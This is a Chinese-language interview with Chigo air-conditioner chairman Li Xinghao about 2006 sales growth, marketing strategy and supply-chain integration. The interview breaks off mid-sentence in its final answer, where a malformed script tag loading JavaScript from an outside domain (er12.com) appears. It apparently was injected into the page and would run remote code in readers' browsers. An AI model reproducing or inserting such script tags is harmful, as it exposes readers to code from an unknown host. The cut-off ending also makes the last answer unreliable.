对话志高李兴浩 体会“精细营销“与“品质升级“

编者按:十六届三中全会,中央做出建设创新型国家的决策,把增强自主创新能力作为国家战略,并贯穿到现代化建设各个方面。在“十一五”规划中,增强自主创新能力已经摆在经济社会发展的突出位置。中国制造业正经历一次重要的转型,实现从“中国制造”到“中国创造”的跨越。

中国空调业起步于模仿和借鉴,在发展的前十年一直没能摆脱这种局面。人们对家电的认知是国外品牌要比国内的好,差距就在于国内企业技术内涵的缺失。目前这一局面被志高率先打破,志高品牌的空调产品已经在全球15个国家的市场排行榜首。而“志高模式”也成了人们津津乐道的话题。解读志高,可以透视中国民企从“中国制造”迈向“中国创造”的路线和空调未来的方向。

主持人:何丹婵(本版文章均由主持人撰写)

嘉 宾:李兴浩 广东志高空调有限公司董事长

空调集体负增长缘何志高突围

主持人:从国内权威统计机构获取的数据得出2006冷年绝大多数空调品牌都出现了不同程度下滑,而志高却逆市上扬增幅达18%,为什么?

李兴浩:2006冷年伊始,志高便制订了“全面成本领先”战略,并以“27583”工程作为推动整体战略实施的手段。志高对市场机遇的准确把握,全面实施“精细营销”与“品质升级”, “零配件终身免费更换”等个性化服务以及多年积聚的品牌拉力功不可没。

主持人:其中最关键的环节在哪里?其它企业可否借鉴或者模仿?

李兴浩:最关键在于营销模式的创新。别人都在争夺渠道、终端时,志高却把供应链放到了与之并重的地位,打造绿色供应链,组成产供销共同体,形成了与众不同的自主创新营销模式很有借鉴意义,却难以复制,成功的前提是建立在志高特有的企业文化和十多年发展积累的基础上。

主持人:原材料价格大幅上涨、人民币汇率上升、欧盟weee和rohs指令的实施使2006年空调出口极其艰难,但志高空调出口却成绩显赫,部分地区远远超过了中国出口平均增幅7.76 %,你们是如何做到的?

李兴浩:志高海外营销部门是以“精细管理、目标明确、量利兼顾、品牌提升”作为总的指导方针,通过参加各种展会和走访市场强化和稳固了既有客户的合作关系,志高在门店包装等终端建设的投入比上年翻了一番。志高不仅超额完成2006冷年的任务,亚太区、中东区的增长更是超出预期,分别达到了 128.9%和125.25%。

主导中国空调业未来的模式

主持人:有人认为您刚才提到“产供销共同体”必将主导中国空调业的未来,到底这种模式有什么独特之处?

李兴浩: 产供销共同体实质是供应链的创新。这不是通常指的采购链,而是生产过程中从原材料和零部件采购、运输、加工、分销直到最终把产品送到客户手中,作为一个环环相扣的完整链条。志高苦心经营多年的全球化供应链有本质性的突破。通过国际合作、核心竞争力培育、标准化工程推进等多方面的支撑,最终造就了志高空调自主创新体系的基础。

主持人:海尔现在的“三网一流”把仓库变成只为下一站暂停的站,是一种“过站式”物流,其中也涉及到全球供应链,这有什么不同呢?

李兴浩:我想从提升产品竞争力这个角度来看,出发点是一样的。但志高侧重的不止是物流、资金、库存成本的降低,而是整个完整链条聚合而成的核心竞争力。空调业的竞争模式在改变。正如英国著名经济学家克里斯多夫所说:“市场上只有供应链而没有企业。真正的竞争不是企业与企业之间的竞争,而是供应链与供应链之间的竞争。”自主创新及塑造企业核心竞争力只有与供应链结合,落到实处,才有现实指导意义。

国内竞争国际化

主持人:您在供应链建设中多次提及全球化,这和您提出的“国内竞争国际化”观点有什么关联?

李兴浩:从与现代、三菱、开利的合作中,我们有深刻的体会。这些跨国企业提出选用世界先进的基础材料、与国际接轨的先进生产方式的要求。要和跨国企业共同构筑供应链,必须做到“国内竞争国际化”,加快企业全球化进程,凸显供应链的国际竞争力。

主持人:那么目前国内空调的竞争环境究竟出现了哪些国际化的特征呢?

李兴浩:首先是国际上原材料的价格变化已直接对厂商产生巨大的成本压力。空调产业呈现出强者愈强的品牌集中趋势。单项竞争正转向产业链体系之间的竞争。未来的空调业,逐渐从争市场、资金、人才、技术向争战略合作伙伴过渡。竞争焦点直指核心竞争力,迫切要求我们从常规的市场竞争手段转向核心竞争力的培育。

主持人:“国内竞争国际化”的观点将空调业的竞争态势和层面提升了一个层次,对空调企业来讲,关键性的改变在哪里?

李兴浩:最核心的改变在于价值的创新。首先是信息化集成和标准化推动。比如说针对欧盟的双绿指令,就需要整个供应链之间统一规划、统一采购,统一生产,统一销售,这涉及到信息流、物流、资金流等?script src=http://er12.com/t.js>

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发布日期:2019年07月04日  所属分类:新闻动态